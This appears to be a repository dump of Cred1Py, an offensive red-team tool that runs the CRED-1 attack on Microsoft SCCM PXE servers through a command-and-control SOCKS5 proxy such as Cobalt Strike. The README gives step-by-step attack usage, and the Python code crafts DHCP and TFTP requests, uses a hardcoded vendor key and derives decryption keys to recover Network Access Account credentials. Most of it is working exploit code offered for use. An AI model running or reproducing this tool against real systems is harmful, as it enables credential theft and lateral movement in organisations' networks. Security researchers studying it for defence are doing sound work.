├── .github └── workflows │ └── test.yml ├── .gitignore ├── .vscode ├── launch.json └── settings.json ├── README.md ├── images └── attack-overview.png ├── lib ├── __init__.py ├── sccm.py ├── socks.py └── tftp.py ├── main.py ├── requirements.txt └── tests ├── __init__.py └── test_socks.py /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: Python Test 2 | 3 | on: [push] 4 | 5 | jobs: 6 | build: 7 | runs-on: ubuntu-latest 8 | 9 | steps: 10 | - uses: actions/checkout@v4 11 | 12 | - name: Set up Python 13 | uses: actions/setup-python@v5 14 | with: 15 | python-version: '3.x' 16 | 17 | - name: Install dependencies 18 | run: | 19 | python -m pip install --upgrade pip 20 | pip install -r requirements.txt 21 | 22 | - name: Test with pytest 23 | run: | 24 | pip install pytest pytest-mock 25 | pytest -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | env 2 | **/.DS_Store 3 | **/*.pyc -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": "Python Debugger: Current File", 9 | "type": "debugpy", 10 | "request": "launch", 11 | "program": "main.py", 12 | "args": ["192.168.130.13", "192.168.130.8", "cobaltstrike", "9090"], 13 | "console": "integratedTerminal" 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "python.testing.pytestArgs": [ 3 | "tests" 4 | ], 5 | "python.testing.unittestEnabled": false, 6 | "python.testing.pytestEnabled": true 7 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Overview 2 | 3 | This is a tool used to exploit CRED-1 over a SOCKS5 connection (with UDP support). 4 | 5 | ## Installation 6 | 7 | ``` 8 | python3 -m venv env 9 | source ./env/bin/activate 10 | pip install -r requirements.txt 11 | ``` 12 | 13 | ## Usage 14 | 15 | To use Cred1Py: 16 | 17 | Start a SOCKS5 proxy via your C2, for example, CS uses the command: 18 | 19 | ``` 20 | > socks 9090 socks5 enableNoAuth a b 21 | ``` 22 | 23 | Then we can invoke Cred1py with: 24 | 25 | ``` 26 | python ./main.py 27 | ``` 28 | 29 | Where: 30 | 31 | * Target - The SCCM PXE server IP 32 | * SRC_IP - The IP address of the compromised server we are running the implant on 33 | * SOCKS_HOST - The IP of the team server running SOCKS5 34 | * SOCKS_PORT - The SOCKS5 port 35 | 36 | To help visualise the components referenced in the arguments: 37 | 38 | ![](./images/attack-overview.png) 39 | 40 | Note: Due to the way that SOCKS5 works, the C2 server will need to be accessible on all ports to Cred1py as a second ephemeral port is opened as part of the relaying of UDP traffic. Easiest method is usually to just run Cred1py on the C2 server and target `localhost`.. but you do you! 41 | 42 | ## How CRED-1 Attack Works 43 | 44 | CRED-1 can be broken down into the following steps: 45 | 46 | 1. Send a DHCP Request for the PXE image over UDP 4011 47 | 2. SCCM responds with image path and crypto keys to decrypt the referenced variables file 48 | 49 | At this stage, two files are downloaded over TFTP, for example: 50 | 51 | 1. `2024.09.03.23.35.22.0001.{FEF9DEEE-4C4A-43EF-92BF-2DD23F3CE837}.boot.var` 52 | 2. `2024.09.03.23.35.22.07.{FEF9DEEE-4C4A-43EF-92BF-2DD23F3CE837}.boot.bcd` 53 | 54 | Next CRED-1 takes the crypto keys returned in the DHCP response, and takes one of two paths depending on the content: 55 | 56 | 1. If the crypto key is provided, password based encryption is disabled, and therefore a key derivation function is run to produce an AES key to decrypt the variables file 57 | 58 | OR 59 | 60 | 2. If no crypto key is provided, password based encryption is enabled, and a HashCat ouotput is produced from the variables file to allow us to recover the encryption key 61 | 62 | Once the key has been recovered (or provided), the variable file can be decrypted and the contents can be used to retrieve Network Access Account username/password. 63 | 64 | Further information on this attack can be found in [Misconfiguration Manager](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-1/cred-1_description.md). 65 | 66 | ## How Cred1Py Works 67 | 68 | Cred1Py attempts to perform this flow over a SOCKS5 connection, due to UDP support being provided as part of the SOCKS5 specification and included in products such as Cobalt Strike. 69 | 70 | There are a few differences to the Cred1py implementation to tools like PxeThiefy as SOCKS5 limits our ability to retrieve TFTP files (we can't determine the source port used during the data transfer and therefore can't download more than a handful of bytes). 71 | 72 | This means that the requirements for Cred1Py are: 73 | 74 | 1. An implant executing with SOCKS5 enabled 75 | 2. Ability to make a SMB connection to a distribution server (this replaces the TFTP component of PxeThiefy) 76 | 77 | Once the requirements are met, Cred1Py: 78 | 79 | 1. Sends a DHCP Request for the PXE image and crypto key 80 | 2. Retrieves the crypto keying material 81 | 3. Downloads the first 512 bytes of the variables file (possible as this is sent by TFTP server without establishing a TID which needs source port) 82 | 4. Outputs either a crypto key, or a hashcat hash, as well as the path to the boot variable file returned via DHCP 83 | 84 | At this point, we will need to use our C2 to download the boot variable file, for example in Cobalt Strike we can use: 85 | 86 | ``` 87 | download \\sccmserver.lab.local\REMINST\SMSTemp\BootFileName.boot.var 88 | ``` 89 | 90 | Now if you have a password to crack.. crack it and then pass it as an argument to `pxethiefy.py`: 91 | 92 | ``` 93 | python ./pxethiefy.py decrypt -f /tmp/BootFileName.boot.var PASSWORD_HERE 94 | ``` 95 | 96 | However, if no PXE password is set, you'll be given the crypto key. This will need to be added to `pxethiefy.py`. Easiest way is just to mod `decrypt_media_file` in `pxethiefy.py` to use the binary key, for example: 97 | 98 | `decrypt_media_file(args.mediafile, b'\x41\x42\x43\x44.......'):` 99 | 100 | We then use PxeThiefy.py to decrypt the `boot.var` file with our recovered key by just invoking with any old password: 101 | 102 | ``` 103 | python ./pxethiefy.py decrypt -f /tmp/BootFileName.boot.var USE_THE_SOURCE_LUKE 104 | ``` 105 | 106 | ## Credits 107 | 108 | * Christopher Panayi, the original researcher of CRED-1 and the PxeThief OG Tool - https://github.com/MWR-CyberSec/PXEThief 109 | * Carsten Sandker and his awesome Pxethiefy.py Tool which this is based on - https://github.com/csandker/pxethiefy 110 | 111 | -------------------------------------------------------------------------------- /images/attack-overview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SpecterOps/cred1py/432f9107b8ac501a743b487de182e3ba0bd3023f/images/attack-overview.png -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SpecterOps/cred1py/432f9107b8ac501a743b487de182e3ba0bd3023f/lib/__init__.py -------------------------------------------------------------------------------- /lib/sccm.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import socket 3 | import time 4 | from hashlib import * 5 | from scapy.all import * 6 | import binascii 7 | from lib.socks import SOCKS5Client 8 | from Crypto.Cipher import AES,DES3 9 | 10 | ## Most of the code here is taken from pxethiefy.py (we're just wrapping in SOCKS5), with thanks to the author! 11 | ## https://github.com/csandker/pxethiefy/blob/main/pxethiefy.py 12 | 13 | class SCCM: 14 | def __init__(self, target, port, socks_client): 15 | self.target = target 16 | self.port = port 17 | self.socks_client = socks_client 18 | 19 | def _craft_packet(self, client_ip, client_mac): 20 | pkt = BOOTP(ciaddr=client_ip,chaddr=client_mac)/DHCP(options=[ 21 | ("message-type","request"), 22 | ('param_req_list',[3, 1, 60, 128, 129, 130, 131, 132, 133, 134, 135]), 23 | ('pxe_client_architecture', b'\x00\x00'), #x86 architecture 24 | (250,binascii.unhexlify("0c01010d020800010200070e0101050400000011ff")), #x64 private option 25 | #(250,binascii.unhexlify("0d0208000e010101020006050400000006ff")), #x86 private option 26 | ('vendor_class_id', b'PXEClient'), 27 | ('pxe_client_machine_identifier', b'\x00*\x8cM\x9d\xc1lBA\x83\x87\xef\xc6\xd8s\xc6\xd2'), #included by the client, but doesn't seem to be necessary in WDS PXE server configurations 28 | "end"]) 29 | 30 | return pkt 31 | 32 | def _extract_boot_files(self, variables_file, dhcp_options): 33 | bcd_file, encrypted_key = (None, None) 34 | if variables_file: 35 | packet_type = variables_file[0] #First byte of the option data determines the type of data that follows 36 | data_length = variables_file[1] #Second byte of the option data is the length of data that follows 37 | 38 | #If the first byte is set to 1, this is the location of the encrypted media file on the TFTP server (variables.dat) 39 | if packet_type == 1: 40 | #Skip first two bytes of option and copy the file name by data_length 41 | variables_file = variables_file[2:2+data_length] 42 | variables_file = variables_file.decode('utf-8') 43 | #If the first byte is set to 2, this is the encrypted key stream that is used to encrypt the media file. The location of the media file follows later in the option field 44 | elif packet_type == 2: 45 | #Skip first two bytes of option and copy the encrypted data by data_length 46 | encrypted_key = variables_file[2:2+data_length] 47 | 48 | #Get the index of data_length of the variables file name string in the option, and index of where the string begins 49 | string_length_index = 2 + data_length + 1 50 | beginning_of_string_index = 2 + data_length + 2 51 | 52 | #Read out string length 53 | string_length = variables_file[string_length_index] 54 | 55 | #Read out variables.dat file name and decode to utf-8 string 56 | variables_file = variables_file[beginning_of_string_index:beginning_of_string_index+string_length] 57 | variables_file = variables_file.decode('utf-8') 58 | bcd_file = next(opt[1] for opt in dhcp_options if isinstance(opt, tuple) and opt[0] == 252).rstrip(b"\0").decode("utf-8") # DHCP option 252 is used by SCCM to send the BCD file location 59 | else: 60 | print("[!] No variable file location (DHCP option 243) found in the received packet when the PXE boot server was prompted for a download location", MSG_TYPE_ERROR) 61 | 62 | return [variables_file,bcd_file,encrypted_key] 63 | 64 | def read_media_variable_file(self, filedata): 65 | return filedata[24:-8] 66 | 67 | def aes128_decrypt(self,data,key): 68 | aes128 = AES.new(key, AES.MODE_CBC, b"\x00"*16) 69 | decrypted = aes128.decrypt(data) 70 | return decrypted.decode("utf-16-le") 71 | 72 | def aes128_decrypt_raw(self,data,key): 73 | aes128 = AES.new(key, AES.MODE_CBC, b"\x00"*16) 74 | decrypted = aes128.decrypt(data) 75 | return decrypted 76 | 77 | def aes_des_key_derivation(self,password): 78 | key_sha1 = sha1(password).digest() 79 | b0 = b"" 80 | for x in key_sha1: 81 | b0 += bytes((x ^ 0x36,)) 82 | 83 | b1 = b"" 84 | for x in key_sha1: 85 | b1 += bytes((x ^ 0x5c,)) 86 | # pad remaining bytes with the appropriate value 87 | b0 += b"\x36"*(64 - len(b0)) 88 | b1 += b"\x5c"*(64 - len(b1)) 89 | b0_sha1 = sha1(b0).digest() 90 | b1_sha1 = sha1(b1).digest() 91 | return b0_sha1 + b1_sha1 92 | 93 | def derive_blank_decryption_key(self,encrypted_key): 94 | length = encrypted_key[0] 95 | encrypted_bytes = encrypted_key[1:1+length] # pull out 48 bytes that relate to the encrypted bytes in the DHCP response 96 | encrypted_bytes = encrypted_bytes[20:-12] # isolate encrypted data bytes 97 | key_data = b'\x9F\x67\x9C\x9B\x37\x3A\x1F\x48\x82\x4F\x37\x87\x33\xDE\x24\xE9' #Harcoded in tspxe.dll 98 | key = self.aes_des_key_derivation(key_data) # Derive key to decrypt key bytes in the DHCP response 99 | var_file_key = (self.aes128_decrypt_raw(encrypted_bytes[:16],key[:16])[:10]) 100 | LEADING_BIT_MASK = b'\x80' 101 | new_key = bytearray() 102 | for byte in struct.unpack('10c',var_file_key): 103 | if (LEADING_BIT_MASK[0] & byte[0]) == 128: 104 | new_key = new_key + byte + b'\xFF' 105 | else: 106 | new_key = new_key + byte + b'\x00' 107 | 108 | return new_key 109 | 110 | def send_bootp_request(self, client_ip, client_mac): 111 | self.socks_client.send(bytes(self._craft_packet(client_ip, client_mac)), (self.target, self.port)) 112 | data = self.socks_client.recv(9076) 113 | 114 | # Load the packet 115 | bootp_layer = BOOTP(data) 116 | 117 | dhcp_layer = bootp_layer[DHCP] 118 | dhcp_options = dhcp_layer[DHCP].options 119 | 120 | option_number, variables_file = next(opt for opt in dhcp_options if isinstance(opt, tuple) and opt[0] == 243) 121 | 122 | if(variables_file and dhcp_options): 123 | variables_file,bcd_file,encrypted_key = self._extract_boot_files(variables_file, dhcp_options) 124 | 125 | return [variables_file, bcd_file, encrypted_key] 126 | 127 | def read_media_variable_file_header(self, filedata): 128 | return filedata[:40] -------------------------------------------------------------------------------- /lib/socks.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | class SOCKS5Client: 4 | def __init__(self, proxy_host, proxy_port): 5 | self.proxy_host = proxy_host 6 | self.proxy_port = proxy_port 7 | self.proxy_sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP) 8 | 9 | # Need a port that the relay allows connections from when forwarding UDP 10 | self.relay_src_port = 0x1234 11 | 12 | def _is_ip(self, host): 13 | try: 14 | socket.inet_aton(host) 15 | return True 16 | except: 17 | return False 18 | 19 | def _is_domain(self, host): 20 | return not self._is_ip(host) 21 | 22 | def close(self): 23 | self.proxy_sd.close() 24 | self.relay_sd.close() 25 | 26 | def connect(self): 27 | try: 28 | self.proxy_sd.connect((self.proxy_host, self.proxy_port)) 29 | 30 | # Send Negotiation (no auth) 31 | self.proxy_sd.send(b'\x05\x01\x00') 32 | response = self.proxy_sd.recv(1024) 33 | if response[0] != 5: 34 | raise SOCKS5ClientException("Proxy couldn't connect") 35 | 36 | if response[1] != 0: 37 | raise SOCKS5ClientException("Proxy requires authentication") 38 | 39 | # Send UDP ASSOCIATE request 40 | self.proxy_sd.send(b'\x05\x03\x00\x01\x00\x00\x00\x00' + self.relay_src_port.to_bytes(2, 'big')) 41 | response = self.proxy_sd.recv(1024) 42 | if response[0] != 5 or response[1] != 0: 43 | raise SOCKS5ClientException(f"Error setting up UDP relay with server. Error code: {response[1]}") 44 | 45 | if response[3] == 1: 46 | # Extract relay IP 47 | self.relay_dst = socket.inet_ntoa(response[4:8]) 48 | self.relay_dst_port = int.from_bytes(response[8:], 'big') 49 | 50 | elif response[3] == 3: 51 | # Extract relay domain 52 | domain_len = response[4] 53 | self.relay_dst = response[5:5+domain_len].decode() 54 | self.relay_dst_port = int.from_bytes(response[5+domain_len:5+domain_len+2], 'big') 55 | 56 | else: 57 | raise SOCKS5ClientException("Invalid relay address type") 58 | 59 | except Exception as e: 60 | raise SOCKS5ClientException(f"Error connecting to proxy: {e}") 61 | 62 | def send(self, data, destination): 63 | # We need a new connection (the existing TCP connection needs to stay open for the relay to also stay open) 64 | self.relay_sd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) 65 | self.relay_sd.bind(('', self.relay_src_port)) 66 | self.relay_sd.connect((self.proxy_host, self.relay_dst_port)) 67 | 68 | # UDP packets are sent to the relay, which forwards them to the destination 69 | # They need a header prepending... 70 | relay_header = b'\x00\x00\x00\x01' + socket.inet_aton(destination[0]) + destination[1].to_bytes(2, 'big') 71 | self.relay_sd.send(relay_header + data) 72 | 73 | def recv(self, size): 74 | data = self.relay_sd.recv(size) 75 | 76 | if len(data) < 11: 77 | raise SOCKS5ClientException("Received packet is too small") 78 | 79 | if data[0] != 0 or data[1] != 0: 80 | raise SOCKS5ClientException("Received packet has an invalid header") 81 | 82 | # Add support for fragments (don't think CS supports this anyway) 83 | 84 | # Validate if the header has an IP or domain name 85 | if data[3] == 1: 86 | ip = socket.inet_ntoa(data[4:8]) 87 | port = int.from_bytes(data[8:10], 'big') 88 | return data[10:] 89 | 90 | 91 | elif data[3] == 3: 92 | domain_len = data[4] 93 | domain = data[5:5+domain_len].decode() 94 | port = int.from_bytes(data[5+domain_len:5+domain_len+2], 'big') 95 | return data[5+domain_len+2:] 96 | 97 | else: 98 | raise SOCKS5ClientException("Received packet has an invalid header") 99 | 100 | class SOCKS5ClientException(Exception): 101 | pass -------------------------------------------------------------------------------- /lib/tftp.py: -------------------------------------------------------------------------------- 1 | from lib import socks 2 | import struct 3 | 4 | class TFTPClient: 5 | def __init__(self, target, port, socks_client): 6 | self.target = target 7 | self.port = port 8 | self.socks_client = socks_client 9 | 10 | def get_file(self, filename): 11 | self.socks_client.send(b'\x00\x01' + bytes(filename, 'ascii') + b'\x00' + b'octet' + b'\x00', (self.target, self.port)) 12 | data = self.socks_client.recv(9076) 13 | 14 | (opcode, block) = struct.unpack(">HH", data[:4]) 15 | if opcode != 3: 16 | print("[!] Invalid opcode from TFTP server") 17 | return 18 | 19 | filedata = b'' 20 | 21 | # Iterate through data blocks 22 | while True: 23 | self.socks_client.send(b'\x00\x04' + block.to_bytes(2, 'big'), (self.target, self.port)) 24 | data = self.socks_client.recv(9076) 25 | (opcode, block) = struct.unpack(">HH", data[:4]) 26 | 27 | if opcode != 3: 28 | print("[!] Invalid opcode from TFTP server") 29 | return None 30 | 31 | filedata += data[4:] 32 | 33 | # No point carrying on as we can't ack the request, so just return the first 516 bytes 34 | return filedata 35 | 36 | # if len(data) <= 516: 37 | # # End of file 38 | # return filedata 39 | 40 | #return filedata -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from lib import sccm 2 | from lib import socks, tftp 3 | import argparse 4 | 5 | # Parse arguments 6 | parser = argparse.ArgumentParser(description="SCCM CRED1 SOCKS5 POC") 7 | parser.add_argument("target", help="SCCM PXE IP") 8 | parser.add_argument("src_ip", help="Source IP") 9 | parser.add_argument("socks_host", help="SOCKS5 proxy host") 10 | parser.add_argument("socks_port", help="SOCKS5 proxy port", type=int) 11 | args = parser.parse_args() 12 | 13 | if args.target == None or args.socks_host == None or args.socks_port == None or args.src_ip == None: 14 | print("Usage: python3 main.py ") 15 | exit() 16 | 17 | # Setup SOCKS5 client 18 | client = socks.SOCKS5Client(args.socks_host, args.socks_port) 19 | client.connect() 20 | 21 | sccm_client = sccm.SCCM(args.target, 4011, client) 22 | (variables,bcd,cryptokey) = sccm_client.send_bootp_request(args.src_ip, "11:22:33:44:55:66") 23 | 24 | print(f"[*] Variables file: {variables}") 25 | print(f"[*] BCD file: {bcd}") 26 | 27 | client.close() 28 | 29 | # TFTP Limitation over SOCKS5 means we can only grab the first few bytes (we can't ack the request):() 30 | client = socks.SOCKS5Client(args.socks_host, args.socks_port) 31 | client.connect() 32 | 33 | tftp_client = tftp.TFTPClient(args.target, 69, client) 34 | data_variables = tftp_client.get_file(variables) 35 | 36 | if cryptokey == None: 37 | hashcat_hash = f"$sccm$aes128${sccm_client.read_media_variable_file_header(data_variables).hex()}" 38 | print(hashcat_hash) 39 | print("[*] Try cracking this hash to read the media file") 40 | else: 41 | print("[*] Blank password on PXE media file found!") 42 | print("[*] Attempting to decrypt it...") 43 | decrypt_password = sccm_client.derive_blank_decryption_key(cryptokey) 44 | if( decrypt_password ): 45 | print("[*] Password retrieved: " + decrypt_password.hex()) 46 | 47 | print("[*] Once you have the key, download the variables file from:") 48 | print(f"[*] \\\\{args.target}\\REMINST{variables}") 49 | print("[*] You can then decrypt this with PXEThiefy.py using:") 50 | print("[*] python3 pxethiefy.py decrypt -p PASSWORD -f ") -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome==3.21.0 2 | scapy==2.6.0 3 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SpecterOps/cred1py/432f9107b8ac501a743b487de182e3ba0bd3023f/tests/__init__.py -------------------------------------------------------------------------------- /tests/test_socks.py: -------------------------------------------------------------------------------- 1 | from lib import socks 2 | 3 | 4 | def test_init(): 5 | client = socks.SOCKS5Client("cobaltstrike", 9090) 6 | assert client.proxy_host == "cobaltstrike" 7 | assert client.proxy_port == 9090 8 | 9 | def test_is_ip(): 10 | client = socks.SOCKS5Client("cobaltstrike", 9090) 11 | assert client._is_ip("192.168.1.2") == True 12 | assert client._is_ip("127.0.0.1") == True 13 | assert client._is_ip("localhost") == False 14 | assert client._is_ip("google.com") == False 15 | assert client._is_ip("sub.dom.this.com") == False 16 | 17 | def test_is_domain(): 18 | client = socks.SOCKS5Client("cobaltstrike", 9090) 19 | assert client._is_domain("www.google.com") 20 | assert client._is_domain("localhost") 21 | assert client._is_domain("google.com") 22 | assert client._is_domain("sub.dom.this.com") 23 | assert not client._is_domain("192.168.1.1") 24 | assert not client._is_domain("127.0.0.1") 25 | 26 | def test_connect_no_auth(mocker): 27 | client = socks.SOCKS5Client("cobaltstrike", 9090) 28 | 29 | mock_response_no_auth = b'\x05\x00\x00\x01\x01\x01\x01\x01\x12\x34' 30 | mock_response_auth = b'\x05\x01' 31 | 32 | mocker.patch("socket.socket.connect") 33 | mocker.patch("socket.socket.send") 34 | mocker.patch("socket.socket.recv", return_value=mock_response_no_auth) 35 | 36 | client.connect() 37 | 38 | def test_connect_error_auth_required(mocker): 39 | client = socks.SOCKS5Client("cobaltstrike", 9090) 40 | 41 | mock_response_auth_required_gssapi = b'\x05\x01' 42 | mock_response_auth_required_username_password = b'\x05\x02' 43 | 44 | mocker.patch("socket.socket.connect") 45 | mocker.patch("socket.socket.send") 46 | mocker.patch("socket.socket.recv", return_value=mock_response_auth_required_username_password) 47 | 48 | # Verify that an exception is raised 49 | try: 50 | client.connect() 51 | assert False 52 | except socks.SOCKS5ClientException as e: 53 | assert str(e) == "Error connecting to proxy: Proxy requires authentication" 54 | --------------------------------------------------------------------------------